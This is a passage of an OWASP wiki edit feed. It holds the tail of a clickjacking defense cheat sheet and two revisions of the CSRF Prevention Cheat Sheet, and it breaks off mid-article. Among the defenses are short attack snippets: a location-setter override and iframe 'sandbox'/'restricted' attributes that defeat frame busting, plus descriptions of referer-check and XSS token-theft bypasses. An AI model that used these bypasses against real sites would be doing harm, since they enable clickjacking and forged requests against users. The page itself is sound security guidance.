We observed that although location is kept immutable in most circumstances, when a custom location setter is defined via defineSetter (through window) the object location becomes undefined. The framing page simply does:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  window.defineSetter(&amp;quot;location&amp;quot; , function(){});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now any attempt to read or navigate the top frame's location will fail.&lt;br /&gt;
&lt;br /&gt;
== Restricted zones ==&lt;br /&gt;
&lt;br /&gt;
Most frame busting relies on JavaScript in the framed page to detect framing and bust itself out. If JavaScript is disabled in the context of the subframe, the frame busting code will not run. There are unfortunately several ways of restricting JavaScript in a subframe:&lt;br /&gt;
&lt;br /&gt;
* '''In IE 8:''' &amp;lt;pre&amp;gt;&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot; security=&amp;quot;restricted&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
* '''In Chrome:''' &amp;lt;pre&amp;gt;&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot; sandbox&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
*''' In Firefox and IE:''' Activate designMode in parent page.&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=137974</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=137974"/>
				<updated>2012-10-21T17:41:55Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: Any XSS vulnerability can be used to bypass these CSRF protection systems.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site.&lt;br /&gt;
&lt;br /&gt;
In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from javascript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site). Timeouts on CSRF tokens are very unlikely to help this attack scenario.&lt;br /&gt;
&lt;br /&gt;
The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.&lt;br /&gt;
&lt;br /&gt;
In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.&lt;br /&gt;
&lt;br /&gt;
For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Checking The Referer Header =&lt;br /&gt;
Although it is trivial to spoof the referer header on your own browser,  it is impossible to do so in a CSRF attack.  Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state.  This makes a referer a useful method of CSRF prevention when memory is scarce.&lt;br /&gt;
&lt;br /&gt;
However, checking the referer is considered to be a weaker from of CSRF protection.  For example,  open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check.  It should be noted that GET requests should never incur a state change as this is a violation of the HTTP specification. &lt;br /&gt;
&lt;br /&gt;
There are also common implementation mistakes with referer checks.  For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted.  In this case the lack of a referer should be considered to be an attack when the request is performing a state change.   Also note that the attacker has limited influence over the referer.   For example,  if the victim's domain is &amp;quot;site.com&amp;quot; then an attacker have the CSRF exploit originate from &amp;quot;site.com.attacker.com&amp;quot; which may fool a broken referer check implementation.  XSS can be used to bypass a referer check. &lt;br /&gt;
&lt;br /&gt;
= Checking The Origin Header =&lt;br /&gt;
The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] was introduced as a method of defending against CSRF and other Cross-Domain attacks.  Unlike the referer, the origin will be present in HTTP request that originates from an HTTPS url.&lt;br /&gt;
&lt;br /&gt;
If the origin header is present,  then it should be checked for consistency.&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses.  This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric[at]infraredsecurity.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134758</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134758"/>
				<updated>2012-08-24T22:47:46Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: misleading...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
